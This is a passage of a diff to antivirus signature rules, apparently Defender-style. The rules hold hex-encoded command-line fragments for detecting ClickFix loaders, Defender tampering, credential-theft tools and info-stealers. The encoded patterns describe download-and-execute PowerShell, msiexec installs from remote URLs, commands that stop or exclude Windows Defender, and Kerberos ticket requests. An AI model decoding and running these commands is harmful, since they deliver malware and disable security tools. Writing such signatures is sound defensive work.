54 00 45 00 4d 00 52 00 4f } //21539 $a_00_2 = {0c 00 63 00 6d 00 64 00 20 00 } //61 $a_00_3 = {0a 00 22 00 64 00 65 00 73 00 6b 00 74 00 6f 00 70 00 69 00 6d 00 67 00 64 00 6f 00 77 00 6e 00 6c 00 64 00 72 00 0a 00 31 02 2f 00 6c 00 6f 00 63 00 6b 00 73 00 63 00 72 00 65 00 65 00 6e 00 75 00 72 00 6c 00 3a 00 68 00 74 00 74 00 70 00 90 02 02 3a 00 2f 00 2f 00 90 00 0a 00 16 00 2f 00 65 00 } //47 - $a_00_4 = {6e 00 74 00 4e 00 61 00 6d 00 65 00 3a 00 00 00 d7 e0 00 00 01 00 01 00 01 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 46 61 6b 65 45 6d 6f 72 68 63 2e 41 21 72 66 6e 00 01 00 b0 00 63 00 3a 00 5c 00 75 00 73 00 65 00 72 00 73 00 5c 00 61 00 64 00 6d 00 69 00 6e 00 69 00 73 00 74 00 72 } //118 + $a_00_4 = {6e 00 74 00 4e 00 61 00 6d 00 65 00 3a 00 00 00 d7 df 00 00 65 00 65 00 14 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 44 41 47 31 21 4d 54 42 00 64 00 0a 00 6d 00 73 00 68 00 74 00 61 00 01 00 04 00 3d d8 e0 df 01 00 06 00 20 00 05 27 20 00 01 00 04 00 3e d8 } //118 condition: ((#a_4c_0 & 1)*21539+(#a_00_2 & 1)*61+(#a_00_3 & 1)*47+(#a_00_4 & 1)*118) >=50 } -rule _InfrastructureShared_26411{ +rule _InfrastructureShared_28041{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,65 00 65 00 14 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 44 41 47 31 21 4d 54 42 00 64 00 0a 00 6d 00 73 00 68 00 74 00 61 00 01 00 04 00 3d d8 e0 df 01 00 06 00 20 00 05 27 20 00 01 00 04 00 3e d8 16 dd 01 00 06 00 20 } //21283 + $a_20_1 = {01 00 04 00 3d d8 e2 df 01 00 04 00 47 27 0f fe 01 00 08 00 3d d8 4d dc 3c d8 fb df 01 00 04 00 3c d8 97 dd 01 00 06 } //5120 + $a_00_3 = {04 } //32 + $a_e9_4 = {01 00 04 00 3c d8 df 10 01 00 04 00 d8 3d dd 13 01 00 06 00 20 00 a1 26 20 00 01 00 04 00 3d d8 a2 dc 01 00 04 00 3c d8 93 dd 01 00 04 00 3e d8 e9 dd 01 00 04 00 3d d8 ac dc 01 00 04 00 3d d8 80 de 01 00 04 00 a1 27 0f fe 00 00 d7 e0 00 00 01 00 01 00 01 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 46 61 6b 65 45 6d 6f 72 68 63 2e 41 21 72 66 6e 00 01 00 b0 00 63 00 3a 00 5c 00 75 00 73 00 65 00 72 00 73 00 5c 00 61 00 64 00 6d 00 69 00 6e 00 69 00 73 00 74 00 72 00 61 00 74 00 6f 00 72 00 5c 00 61 00 70 00 70 00 64 00 61 00 74 00 61 00 5c 00 72 00 6f 00 61 00 6d 00 69 00 6e 00 67 00 5c 00 6d 00 69 00 63 00 72 00 6f 00 73 00 } //15616 + $a_00_5 = {74 00 5c 00 77 00 69 00 6e 00 64 00 6f 00 77 00 73 00 5c 00 73 00 74 00 61 00 72 00 74 00 20 00 6d 00 65 00 6e 00 75 00 5c 00 70 00 72 00 6f 00 67 00 72 00 61 00 6d 00 73 00 5c 00 63 00 68 00 72 00 6f 00 6d 00 65 00 65 00 2e 00 65 00 78 00 65 00 00 00 d7 e0 00 00 01 00 01 00 02 00 21 23 53 4c 46 3a 54 72 } //111 + $a_6e_6 = {57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 5a 4a 46 21 4d 54 42 00 01 00 55 02 6e 00 65 00 74 00 2e 00 77 00 65 00 62 00 63 00 6c 00 69 00 65 00 6e 00 74 00 29 00 2e 00 64 00 6f 00 77 00 6e 00 6c 00 6f 00 61 00 64 00 73 00 74 00 72 00 69 00 6e 00 67 00 28 00 27 00 68 00 74 00 74 00 70 00 } //27247 + $a_7c_7 = {20 00 69 00 65 00 78 00 90 00 01 00 57 02 6e 00 65 00 74 00 2e 00 77 00 65 00 62 00 63 00 6c 00 69 00 65 00 6e 00 74 00 29 00 2e 00 64 00 6f 00 77 00 6e 00 6c 00 6f 00 61 00 64 00 } //656 + $a_00_8 = {72 00 69 00 6e 00 67 00 28 00 27 00 68 00 74 00 74 00 70 00 90 02 3c 20 00 69 00 65 00 78 00 20 00 24 00 90 00 00 00 d7 e0 00 00 01 00 01 00 04 00 21 23 43 4d 44 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 57 44 41 56 54 61 6d 70 65 72 2e 43 00 01 00 27 02 73 00 63 00 90 02 10 20 00 73 00 74 00 6f 00 70 00 20 00 77 00 69 00 6e 00 64 00 65 00 66 00 } //115 + $a_00_9 = {64 00 90 00 01 00 2b 02 73 00 63 00 90 02 10 20 00 64 00 65 00 6c 00 65 00 74 00 65 00 20 00 77 00 69 00 6e 00 64 00 65 00 66 00 65 00 6e 00 64 00 90 00 01 00 29 02 6e 00 65 00 74 00 90 02 10 20 00 73 00 74 00 6f 00 70 00 20 00 57 00 69 00 6e 00 44 00 65 00 66 00 65 00 6e 00 64 00 90 00 01 00 2d 02 6e 00 65 00 74 00 90 02 10 20 } //101 + $a_00_11 = {74 00 65 00 20 00 57 00 69 00 6e 00 44 00 65 00 66 00 65 00 6e 00 64 00 90 00 00 00 d7 e0 00 00 04 00 04 00 04 00 21 23 53 4c 46 3a 42 61 63 6b 64 6f 6f 72 3a 53 63 72 69 70 74 2f 52 6f 67 75 65 53 70 79 2e 46 41 21 64 68 61 00 01 00 18 00 73 00 63 00 68 00 74 00 61 00 73 00 6b 00 73 00 2e 00 65 00 78 } //108 + $a_00_14 = {45 00 41 00 54 00 45 00 01 00 50 00 73 00 73 00 68 00 2e 00 65 00 78 00 65 00 20 00 2d 00 6f 00 20 00 27 00 53 00 74 00 72 00 69 00 63 00 74 00 48 00 6f 00 73 00 74 00 4b 00 65 00 79 00 43 00 68 00 65 00 63 00 6b 00 69 00 6e 00 67 00 20 00 6e 00 } //67 + $a_00_15 = {20 00 2d 00 70 00 01 00 2c 00 55 00 73 00 65 00 72 00 73 00 5c 00 50 00 75 00 62 00 6c 00 69 00 63 00 5c 00 4c 00 69 } //111 + $a_00_17 = {69 00 65 00 73 00 00 00 d7 e0 00 00 0b 00 0b 00 05 00 21 23 43 4d 44 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 57 44 41 56 54 61 6d 70 65 72 2e 41 00 0a 00 20 00 41 00 64 00 64 00 2d 00 4d 00 70 00 50 00 72 00 65 00 66 00 65 00 72 00 65 00 6e 00 63 00 65 00 0a 00 20 00 53 00 65 00 74 00 2d 00 4d 00 70 00 50 00 72 00 65 00 66 00 65 00 72 00 } //97 + $a_00_18 = {63 00 65 00 01 00 1c 00 2d 00 45 00 78 00 63 00 6c 00 75 00 73 00 69 00 6f 00 6e 00 50 00 61 00 74 00 68 00 01 00 26 00 2d 00 45 00 78 00 63 00 6c 00 75 00 73 00 69 00 6f 00 6e 00 45 00 78 00 74 00 65 00 6e 00 73 00 69 00 6f 00 6e 00 01 00 22 00 2d 00 45 00 78 00 63 00 6c 00 75 00 73 00 69 00 6f 00 6e 00 50 00 72 00 6f 00 63 00 } //101 + $a_00_19 = {73 00 00 00 d7 e0 00 00 67 00 67 00 05 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 53 46 42 41 00 01 00 18 00 6d 00 73 00 69 00 65 00 78 00 65 00 63 00 2e 00 65 00 78 00 65 00 00 00 64 00 42 02 5c 00 73 00 79 00 73 00 74 00 65 00 6d 00 33 00 32 00 5c 00 6d 00 73 00 69 00 65 00 78 00 65 00 63 00 2e 00 } //101 + condition: + ((#a_46_0 & 1)*21283+(#a_20_1 & 1)*5120+(#a_00_3 & 1)*32+(#a_e9_4 & 1)*15616+(#a_00_5 & 1)*111+(#a_6e_6 & 1)*27247+(#a_7c_7 & 1)*656+(#a_00_8 & 1)*115+(#a_00_9 & 1)*101+(#a_00_11 & 1)*108+(#a_00_14 & 1)*67+(#a_00_15 & 1)*111+(#a_00_17 & 1)*97+(#a_00_18 & 1)*101+(#a_00_19 & 1)*101) >=101 + +} +rule _InfrastructureShared_28042{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,01 00 01 00 01 00 21 " @@ -345407,7 +366521,18 @@ rule _InfrastructureShared_26411{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_26412{ +rule _InfrastructureShared_28043{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,01 00 01 00 02 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 5a 4a 46 21 4d 54 42 00 01 00 55 02 6e 00 65 00 74 00 2e 00 77 00 65 00 62 00 63 00 6c 00 69 00 65 00 6e 00 74 00 29 00 2e 00 64 00 6f 00 77 00 6e 00 6c 00 6f 00 } //21283 + $a_00_1 = {73 00 74 00 72 00 69 00 6e 00 67 00 28 00 27 00 68 00 74 00 74 00 70 00 90 02 3c 7c 00 20 00 69 00 65 00 78 00 90 00 01 00 57 02 6e 00 65 00 74 00 2e 00 77 00 65 00 62 00 63 00 6c 00 69 00 65 00 6e 00 74 00 29 00 2e 00 64 00 6f 00 77 00 6e 00 6c 00 6f 00 61 00 64 00 73 00 74 00 72 00 69 00 6e 00 67 } //97 + condition: + ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*97) >=1 + +} +rule _InfrastructureShared_28044{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,01 00 01 00 04 00 21 " @@ -345419,33 +366544,112 @@ rule _InfrastructureShared_26412{ ((#a_44_0 & 1)*17187+(#a_20_1 & 1)*656+(#a_00_2 & 1)*105) >=1 } -rule _InfrastructureShared_26413{ +rule _InfrastructureShared_28045{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,04 00 04 00 04 00 21 " + + strings : + $a_46_0 = {42 61 63 6b 64 6f 6f 72 3a 53 63 72 69 70 74 2f 52 6f 67 75 65 53 70 79 2e 46 41 21 64 68 61 00 01 00 18 00 73 00 63 00 68 00 74 00 61 00 73 00 6b 00 73 00 2e 00 65 00 78 00 65 00 01 00 0e 00 2f 00 43 00 52 00 45 00 41 00 54 00 } //21283 + $a_00_1 = {50 } //69 P + $a_00_3 = {65 00 78 00 65 00 20 00 2d 00 6f 00 20 00 27 00 53 00 74 00 72 00 69 00 63 00 74 00 48 00 6f 00 73 00 74 00 4b 00 65 00 79 00 43 00 68 00 } //104 exe -o 'StrictHostKeyCh + condition: + ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*69+(#a_00_3 & 1)*104) >=4 + +} +rule _InfrastructureShared_28046{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,0b 00 0b 00 05 00 21 " strings : $a_44_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 57 44 41 56 54 61 6d 70 65 72 2e 41 00 0a 00 20 00 41 00 64 00 64 00 2d 00 4d 00 70 00 50 00 72 00 65 00 66 00 65 00 72 00 65 00 6e 00 63 00 65 00 0a 00 20 00 53 00 65 00 74 00 2d 00 4d 00 70 } //17187 $a_00_2 = {65 00 72 00 65 00 6e 00 63 00 65 00 01 00 1c 00 2d 00 45 00 78 00 63 00 6c 00 75 00 73 00 69 00 6f 00 6e 00 50 00 61 00 74 00 68 00 01 00 26 00 2d 00 45 00 78 00 63 00 6c 00 75 00 73 00 69 00 6f 00 6e 00 45 00 78 00 74 00 65 00 6e 00 73 00 69 00 6f 00 6e 00 01 00 22 00 2d 00 45 00 78 00 63 00 6c 00 75 00 } //101 - $a_00_3 = {6f 00 6e 00 50 00 72 00 6f 00 63 00 65 00 73 00 73 00 00 00 d7 e1 00 00 02 00 02 00 06 00 21 23 54 45 4c 3a 57 69 6e 33 32 2f 50 79 74 68 6f 6e 42 36 34 64 65 63 6f 64 65 00 01 00 0a 00 65 00 78 00 65 00 63 00 28 00 01 00 27 02 62 00 61 00 73 00 65 00 36 00 34 00 90 02 08 2e 00 62 00 36 00 34 00 64 00 65 00 63 00 } //115 - $a_00_4 = {65 00 28 00 90 00 f6 ff 1a 00 28 00 73 00 79 00 73 00 2e 00 61 00 72 00 67 00 76 00 5b 00 31 00 5d 00 29 00 f6 ff 20 00 65 00 4e 00 72 00 56 00 47 00 6d 00 74 00 76 00 32 00 7a 00 6a 00 79 00 65 00 33 00 34 00 46 00 f6 ff 1e 00 4e 00 65 00 78 00 74 00 47 00 65 00 6e 00 2d 00 43 00 72 00 65 00 61 00 } //111 + $a_00_3 = {6f 00 6e 00 50 00 72 00 6f 00 63 00 65 00 73 00 73 00 00 00 d7 e0 00 00 67 00 67 00 05 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 53 46 42 41 00 01 00 18 00 6d 00 73 00 69 00 65 00 78 00 65 00 63 00 2e 00 65 00 78 00 65 00 00 00 64 00 42 02 5c 00 73 00 79 00 73 00 74 00 } //115 + $a_00_4 = {33 00 32 00 5c 00 6d 00 73 00 69 00 65 00 78 00 65 00 63 00 2e 00 65 00 78 00 65 00 90 02 20 68 00 74 00 74 00 70 00 90 02 ff 2e 00 6d 00 73 00 69 00 90 00 01 00 1c 00 2f 00 70 00 72 00 6f 00 6d 00 70 00 74 00 72 00 65 00 73 00 74 00 61 00 72 00 74 00 01 00 1d 02 2f 00 70 00 61 00 63 00 6b 00 61 00 67 00 65 00 90 02 30 68 00 } //101 condition: - ((#a_44_0 & 1)*17187+(#a_00_2 & 1)*101+(#a_00_3 & 1)*115+(#a_00_4 & 1)*111) >=11 + ((#a_44_0 & 1)*17187+(#a_00_2 & 1)*101+(#a_00_3 & 1)*115+(#a_00_4 & 1)*101) >=11 } -rule _InfrastructureShared_26414{ +rule _InfrastructureShared_28047{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,67 00 67 00 05 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 53 46 42 41 00 01 00 18 00 6d 00 73 00 69 00 65 00 78 00 65 00 63 00 2e 00 65 00 78 00 65 00 00 00 64 00 42 02 5c 00 73 00 79 00 73 00 74 00 65 00 6d 00 33 00 32 } //21283 + $a_00_2 = {65 00 78 00 65 00 63 00 2e 00 65 00 78 00 65 00 [0-20] 68 00 74 00 74 00 70 00 [0-ff] 2e 00 6d 00 73 00 69 00 90 00 01 00 1c 00 2f 00 70 00 72 00 6f 00 6d 00 70 00 74 00 72 00 65 00 73 00 74 00 61 00 72 00 74 00 01 00 1d 02 2f 00 70 00 61 00 63 00 6b 00 61 00 67 00 65 00 [0-30] 68 00 74 00 74 00 70 00 } //115 + $a_00_3 = {2f 00 70 00 61 00 73 00 73 00 69 00 76 00 65 00 } //1 /passive + $a_e0_4 = {00 74 00 74 00 08 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 44 48 46 21 4d 54 42 00 64 00 14 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 0a 00 10 00 69 00 77 00 72 00 20 00 68 00 74 00 74 00 70 00 05 00 0c 00 68 00 69 00 64 00 64 00 65 00 6e 00 01 00 14 00 2e 00 74 00 78 00 74 00 20 00 7c 00 20 00 69 00 65 00 78 00 01 00 14 00 2e 00 70 00 68 00 70 00 20 00 7c 00 20 00 69 00 65 00 78 00 01 00 14 00 2e 00 6a 00 70 00 67 00 20 00 7c 00 20 00 69 00 65 00 78 00 01 00 14 00 2e 00 70 00 6e 00 67 00 20 00 7c 00 20 00 69 00 65 00 78 00 01 00 14 00 2e 00 70 00 73 00 31 00 20 00 7c 00 } //0 + condition: + ((#a_46_0 & 1)*21283+(#a_00_2 & 1)*115+(#a_00_3 & 1)*1+(#a_e0_4 & 1)*0) >=103 + +} +rule _InfrastructureShared_28048{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,74 00 74 00 08 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 44 48 46 21 4d 54 42 00 64 00 14 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 0a 00 10 00 69 00 77 00 72 00 20 00 68 00 74 00 74 00 70 00 05 00 } //21283 + $a_00_1 = {69 00 64 00 64 00 65 00 6e 00 01 00 14 00 2e 00 74 00 78 00 74 00 20 00 7c 00 20 00 69 00 65 00 78 00 01 00 14 00 2e 00 70 00 68 00 70 00 20 00 7c 00 20 00 69 00 65 00 78 00 01 00 14 00 2e 00 6a 00 70 00 67 00 20 00 7c 00 20 00 69 00 65 00 78 00 01 00 14 00 2e 00 70 00 6e 00 67 00 20 00 7c 00 20 00 69 00 65 00 } //12 + $a_00_2 = {14 } //120 + $a_00_4 = {20 00 7c 00 20 00 69 00 65 00 78 00 00 00 d7 e1 00 00 01 00 01 00 03 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 52 65 64 54 61 72 } //115 + $a_2e_5 = {21 64 68 61 00 01 00 38 02 67 00 65 00 74 00 54 00 47 00 54 00 2e 00 70 00 79 00 20 00 2d 00 77 00 90 02 80 2d 00 64 00 6f 00 6d 00 61 00 69 00 6e 00 90 02 80 2d 00 75 00 73 00 65 00 72 00 90 00 01 00 35 02 2d 00 64 00 6f 00 6d 00 61 00 69 00 6e 00 90 02 80 2d 00 75 00 73 00 65 00 72 00 90 02 80 2d 00 6e 00 74 00 6c 00 6d 00 90 02 80 2d 00 6b 00 } //25959 + $a_00_6 = {90 00 01 00 3d 02 2d 00 64 00 6f 00 6d 00 61 00 69 00 6e 00 90 02 80 2d 00 75 00 73 00 65 00 72 00 90 02 80 2d 00 70 00 61 00 73 00 73 00 77 00 6f 00 72 00 64 00 90 02 80 2d 00 6b 00 64 00 63 00 90 00 00 00 d7 e1 00 00 02 00 02 00 06 00 21 23 54 45 4c 3a 57 69 6e 33 32 2f 50 79 74 68 6f 6e 42 36 } //100 + $a_63_7 = {64 65 00 01 00 0a 00 65 00 78 00 65 00 63 00 28 00 01 00 27 02 62 00 61 00 73 00 65 00 36 00 34 00 90 02 08 2e 00 62 00 36 00 34 00 64 00 65 00 63 00 6f 00 64 00 65 00 28 00 90 00 f6 ff 1a 00 28 00 73 00 79 00 73 00 2e 00 61 00 72 00 67 00 76 00 5b 00 31 00 5d 00 29 00 f6 ff 20 00 65 00 4e 00 72 00 56 } //25652 + condition: + ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*12+(#a_00_2 & 1)*120+(#a_00_4 & 1)*115+(#a_2e_5 & 1)*25959+(#a_00_6 & 1)*100+(#a_63_7 & 1)*25652) >=116 + +} +rule _InfrastructureShared_28049{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,01 00 01 00 03 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 52 65 64 54 61 72 67 65 74 2e 41 21 64 68 61 00 01 00 38 02 67 00 65 00 74 00 54 00 47 00 54 00 2e 00 70 00 79 00 20 00 2d 00 77 00 90 02 80 2d 00 64 00 6f 00 6d 00 61 } //21539 + $a_2d_2 = {75 00 73 00 65 00 72 00 90 00 01 00 35 02 2d 00 64 00 6f 00 6d 00 61 00 69 00 6e 00 90 02 80 2d 00 75 00 73 00 65 00 72 00 90 02 80 2d 00 6e 00 74 00 6c 00 6d 00 90 02 80 2d 00 6b 00 64 00 63 00 90 00 01 00 3d 02 2d 00 64 00 6f 00 6d 00 61 00 69 00 6e 00 90 02 80 2d 00 75 00 73 00 65 00 72 00 90 02 80 2d 00 70 00 61 00 73 00 73 00 77 00 6f 00 72 00 64 00 90 02 80 2d 00 6b 00 64 00 } //656 + condition: + ((#a_4c_0 & 1)*21539+(#a_2d_2 & 1)*656) >=1 + +} +rule _InfrastructureShared_28050{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,02 00 02 00 06 00 21 " strings : $a_4c_0 = {57 69 6e 33 32 2f 50 79 74 68 6f 6e 42 36 34 64 65 63 6f 64 65 00 01 00 0a 00 65 00 78 00 65 00 63 00 28 00 01 00 27 02 62 00 61 00 73 00 65 00 36 00 34 00 90 02 08 2e 00 62 00 36 00 34 00 64 00 65 00 63 00 } //21539 $a_00_1 = {65 00 28 00 90 00 f6 ff 1a 00 28 00 73 00 79 00 73 00 2e 00 61 00 72 00 67 00 76 00 5b 00 31 00 5d 00 29 00 f6 ff 20 00 65 00 4e 00 72 00 56 00 47 00 6d 00 74 00 76 00 32 00 7a 00 6a 00 79 00 65 00 33 00 34 00 46 00 f6 ff 1e 00 4e 00 65 00 78 00 74 00 47 00 65 00 6e 00 2d 00 43 00 72 00 65 00 61 00 } //111 - $a_00_2 = {72 00 f6 ff 1c 00 64 00 72 00 6f 00 70 00 6c 00 65 00 74 00 2d 00 63 00 6c 00 69 00 65 00 6e 00 74 00 00 00 d7 e4 00 00 02 00 02 00 05 00 21 23 53 4c 46 3a 57 69 6e 33 32 2f 45 78 63 6c 75 64 65 50 72 6f 63 2e 46 00 01 00 14 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 01 00 20 00 20 00 2d 00 45 00 78 00 63 00 6c } //116 - $a_00_4 = {6e 00 50 00 61 00 74 00 68 00 20 00 01 00 26 00 20 00 2d 00 45 00 78 00 63 00 6c 00 75 00 73 00 69 00 6f 00 6e 00 50 00 72 00 6f 00 63 00 65 00 73 00 73 00 20 00 01 00 2a 00 20 00 2d 00 45 00 78 00 63 00 6c 00 75 00 73 00 69 00 6f 00 6e 00 45 00 78 00 74 00 65 00 6e 00 73 00 69 00 6f 00 6e 00 20 00 f6 ff 2a 00 20 00 52 00 65 00 6d } //105 + $a_00_2 = {72 00 f6 ff 1c 00 64 00 72 00 6f 00 70 00 6c 00 65 00 74 00 2d 00 63 00 6c 00 69 00 65 00 6e 00 74 00 00 00 d7 e2 00 00 07 00 07 00 05 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 50 6f 77 65 72 53 68 65 6c 6c 2f 4c 75 6d 6d 61 53 74 65 61 6c 65 72 2e 41 44 21 4d 54 42 00 03 00 30 00 2e 00 74 00 78 00 74 00 27 00 3b 00 20 00 63 00 75 } //116 + $a_00_4 = {78 00 65 00 20 00 2d 00 73 00 20 00 27 00 68 00 74 00 74 00 70 00 01 00 14 00 3d 00 4a 00 6f 00 69 00 6e 00 2d 00 50 00 61 00 74 00 68 00 01 00 10 00 65 00 6e 00 76 00 3a 00 54 00 45 00 4d 00 50 00 01 00 1a 00 53 00 74 00 61 00 72 00 74 00 2d 00 50 00 72 00 6f 00 63 00 65 00 73 00 73 00 01 00 2c 00 2d } //46 condition: - ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*111+(#a_00_2 & 1)*116+(#a_00_4 & 1)*105) >=2 + ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*111+(#a_00_2 & 1)*116+(#a_00_4 & 1)*46) >=2 } -rule _InfrastructureShared_26415{ +rule _InfrastructureShared_28051{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,07 00 07 00 05 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 50 6f 77 65 72 53 68 65 6c 6c 2f 4c 75 6d 6d 61 53 74 65 61 6c 65 72 2e 41 44 21 4d 54 42 00 03 00 30 00 2e 00 74 00 78 00 74 00 27 00 3b 00 20 00 63 00 75 00 72 00 6c 00 2e 00 65 00 78 00 65 00 20 00 2d 00 } //21283 + $a_00_1 = {27 00 68 00 74 00 74 00 70 00 01 00 14 00 3d 00 4a 00 6f 00 69 00 6e 00 2d 00 50 00 61 00 74 00 } //115 + $a_00_2 = {10 } //104 + $a_00_4 = {54 00 45 00 4d 00 50 00 01 00 1a 00 53 00 74 00 61 00 72 00 74 00 2d 00 50 00 72 00 6f 00 63 00 65 00 73 00 73 00 01 00 2c 00 2d 00 46 00 69 00 6c 00 65 00 50 00 61 00 74 00 } //118 + condition: + ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*115+(#a_00_2 & 1)*104+(#a_00_4 & 1)*118) >=7 + +} +rule _InfrastructureShared_28052{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,1f 00 1f 00 06 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 50 6f 77 65 72 53 68 65 6c 6c 2f 63 6c 69 63 6b 66 69 78 2e 53 4d 21 4d 54 42 00 0a 00 14 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 0a 00 0c 00 69 00 6e 00 76 00 6f 00 6b 00 65 00 0a 00 } //21283 + $a_00_1 = {65 00 73 00 74 00 4d 00 65 00 74 00 68 00 6f 00 64 00 01 00 3c 00 63 00 6d 00 62 00 38 00 6b 00 31 00 6e 00 62 00 6a 00 30 00 30 00 30 00 30 00 30 00 38 00 6c 00 31 00 61 00 70 00 69 00 30 00 37 00 6f 00 30 00 6e 00 2e 00 69 00 6e 00 66 00 6f 00 01 00 14 00 62 00 6f 00 6b 00 6e 00 65 00 67 00 2e 00 63 00 6f 00 6d 00 01 00 16 00 62 00 6b 00 } //20 + $a_00_2 = {6e 00 65 00 74 00 2e 00 63 00 6f 00 6d 00 00 00 d7 e4 00 00 02 00 02 00 05 00 21 23 53 4c 46 3a 57 69 6e 33 32 2f 45 78 63 6c 75 64 65 50 72 6f 63 2e 46 00 01 00 14 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 01 00 20 00 20 00 2d 00 45 00 78 00 63 00 6c 00 75 00 73 00 69 00 6f 00 6e 00 50 } //110 + $a_00_4 = {01 00 26 00 20 00 2d 00 45 00 78 00 63 00 6c 00 75 00 73 00 69 00 6f 00 6e 00 50 00 72 00 6f 00 } //104 + $a_00_5 = {73 00 73 00 20 00 01 00 2a 00 20 00 2d 00 45 00 78 00 63 00 6c 00 75 00 73 00 69 00 6f 00 6e 00 45 00 78 00 74 00 65 00 6e 00 73 00 69 00 6f 00 6e 00 20 00 f6 ff 2a 00 20 00 52 00 65 00 6d 00 6f 00 76 00 65 00 2d 00 4d 00 70 00 50 00 72 00 65 00 66 00 65 00 72 00 65 00 6e 00 63 00 65 00 20 00 00 00 d7 } //99 + condition: + ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*20+(#a_00_2 & 1)*110+(#a_00_4 & 1)*104+(#a_00_5 & 1)*99) >=31 + +} +rule _InfrastructureShared_28053{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,02 00 02 00 05 00 21 " @@ -345453,48 +366657,104 @@ rule _InfrastructureShared_26415{ $a_46_0 = {57 69 6e 33 32 2f 45 78 63 6c 75 64 65 50 72 6f 63 2e 46 00 01 00 14 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 01 00 20 00 20 00 2d 00 45 00 78 00 63 00 6c 00 75 00 73 00 69 00 6f 00 6e 00 50 00 61 00 74 00 } //21283 $a_00_1 = {01 00 26 00 20 00 2d 00 45 00 78 00 63 00 6c 00 75 00 73 00 69 00 6f 00 6e 00 50 00 72 00 6f 00 } //104 $a_00_2 = {73 00 73 00 20 00 01 00 2a 00 20 00 2d 00 45 00 78 00 63 00 6c 00 75 00 73 00 69 00 6f 00 6e 00 45 00 78 00 74 00 65 00 6e 00 73 00 69 00 6f 00 6e 00 20 00 f6 ff 2a 00 20 00 52 00 65 00 6d 00 6f 00 76 00 65 00 2d 00 4d 00 70 00 50 00 72 00 65 00 66 00 65 00 72 00 65 00 6e 00 63 00 65 00 20 00 00 00 d7 } //99 + $a_00_4 = {21 23 53 4c 46 3a } //131 !#SLF: condition: - ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*104+(#a_00_2 & 1)*99) >=2 + ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*104+(#a_00_2 & 1)*99+(#a_00_4 & 1)*131) >=2 } -rule _InfrastructureShared_26416{ +rule _InfrastructureShared_28054{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,ffffff83 00 ffffff83 00 06 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 44 48 4e 21 4d 54 42 00 64 00 14 00 50 00 6f 00 77 00 65 00 72 00 53 00 68 00 65 00 6c 00 6c 00 0a 00 1c 00 7c 00 20 00 4f 00 75 00 74 00 2d 00 53 00 74 00 72 00 } //21283 + $a_00_1 = {67 00 20 00 7c 00 0a 00 24 00 2d 00 4d 00 65 00 74 00 68 00 6f 00 64 00 20 00 50 00 4f 00 53 00 54 00 20 00 2d 00 42 00 6f 00 64 00 